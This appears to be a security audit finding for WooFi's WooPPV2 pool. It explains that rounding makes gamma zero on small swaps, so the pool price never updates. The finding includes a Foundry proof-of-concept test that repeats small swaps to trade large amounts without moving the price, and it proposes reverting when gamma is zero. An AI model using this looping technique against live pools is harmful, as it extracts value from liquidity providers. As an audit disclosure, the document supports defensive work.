Swaps can happen without changing the price for the next trade due to gamma = 0
When a swap happens in WoofiPool the price is updated accordingly respect to such value "gamma". However, there are some cases where the swap results to a "gamma" value of "0" which will not change the new price for the next trade.\\nThis is how the quote token received and new price is calculated when given amount of base tokens are sold to the pool:\\n```\\nfunction _calcQuoteAmountSellBase(\\n        address baseToken,\\n        uint256 baseAmount,\\n        IWooracleV2.State memory state\\n    ) private view returns (uint256 quoteAmount, uint256 newPrice) {\\n        require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");\\n\\n        DecimalInfo memory decs = decimalInfo(baseToken);\\n\\n        // gamma = k * price * base_amount; and decimal 18\\n        uint256 gamma;\\n        {\\n            uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;\\n            require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");\\n\\n            gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;\\n            require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");\\n\\n            // Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)\\n            quoteAmount =\\n                (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *\\n                    (uint256(1e18) - gamma - state.spread)) /\\n                1e18 /\\n                decs.baseDec;\\n        }\\n\\n        // newPrice = oracle.price * (1 - k * oracle.price * baseAmount)\\n        newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;\\n    }\\n```\\n\\nNow, let's assume: DAI is quoteToken, 18 decimals tokenX is baseToken which has a price of 0.01 DAI, 18 decimals coefficient = 0.000000001 * 1e18 spread = 0.001 * 1e18 baseAmount (amount of tokenX are sold) = 1e10;\\nfirst calculate the gamma: (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec; = 1e10 * 0.01 * 1e8 * 0.000000001 * 1e18 / 1e8 / 1e18 = 0 due to round down\\nlet's calculate the `quoteAmount` will be received: `quoteAmount` = (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) * (uint256(1e18) - gamma - state.spread)) / 1e18 / decs.baseDec; (1e10 * 0.01 * 1e8 * 1e18 / 1e8) * (1e18 - 0 - 0.01 * 1e18) / 1e18 / 1e18 = 99900000 which is not "0".\\nlet's calculate the new price: newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18; = (1e18 - 0) * 0.01 * 1e8 / 1e18 = 0.01 * 1e8 which is the same price, no price changes!\\nThat would also means if the "gamma" is "0", then this is the best possible swap outcome. If a user does this in a for loop multiple times in a cheap network, user can trade significant amount of tokens without changing the price.\\nCoded PoC (values are the same as in the above textual scenario):\\n```\\nfunction test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {\\n        // USDC --> DAI address, mind the naming..\\n        uint usdcAmount = 1_000_000 * 1e18;\\n        uint wooAmount = 100_000 * 1e18;\\n        uint wethAmount = 1_000 * 1e18;\\n        deal(USDC, ADMIN, usdcAmount);\\n        deal(WOO, ADMIN, wooAmount);\\n        deal(WETH, ADMIN, wethAmount);\\n\\n        vm.startPrank(ADMIN);\\n        IERC20(USDC).approve(address(pool), type(uint256).max);\\n        IERC20(WOO).approve(address(pool), type(uint256).max);\\n        IERC20(WETH).approve(address(pool), type(uint256).max);\\n        pool.depositAll(USDC);\\n        pool.depositAll(WOO);\\n        pool.depositAll(WETH);\\n        vm.stopPrank();\\n\\n        uint wooAmountForTapir = 1e10 * 1000;\\n        vm.startPrank(TAPIR);\\n        deal(WOO, TAPIR, wooAmountForTapir);\\n        IERC20(USDC).approve(address(router), type(uint256).max);\\n        IERC20(WOO).approve(address(router), type(uint256).max);\\n        IERC20(WETH).approve(address(router), type(uint256).max);\\n        vm.stopPrank();\\n\\n        // WHERE THE MAGIC HAPPENS\\n        (uint128 price, ) = oracle.woPrice(WOO);\\n        console.log("price", price);\\n        \\n        uint cumulative;\\n        for (uint i = 0; i < 1000; ++i) {\\n            vm.prank(TAPIR);\\n            cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);\\n        }\\n\\n        (uint128 newPrice, ) = oracle.woPrice(WOO);\\n        console.log("price", price);\\n\\n        // price hasnt changed although there are significant amount of tokens are being traded by TAPIR\\n        assertEq(newPrice, price);\\n    }\\n```\\n
if the "gamma" is "0", then revert.
As by design, the price should change after every trade irrelevant of the amount that is being traded. Also, in a cheap network the attack can be quite realistic. Hence, I'll label this as medium.
```\\nfunction _calcQuoteAmountSellBase(\\n        address baseToken,\\n        uint256 baseAmount,\\n        IWooracleV2.State memory state\\n    ) private view returns (uint256 quoteAmount, uint256 newPrice) {\\n        require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");\\n\\n        DecimalInfo memory decs = decimalInfo(baseToken);\\n\\n        // gamma = k * price * base_amount; and decimal 18\\n        uint256 gamma;\\n        {\\n            uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;\\n            require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");\\n\\n            gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;\\n            require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");\\n\\n            // Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)\\n            quoteAmount =\\n                (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *\\n                    (uint256(1e18) - gamma - state.spread)) /\\n                1e18 /\\n                decs.baseDec;\\n        }\\n\\n        // newPrice = oracle.price * (1 - k * oracle.price * baseAmount)\\n        newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;\\n    }\\n```\\n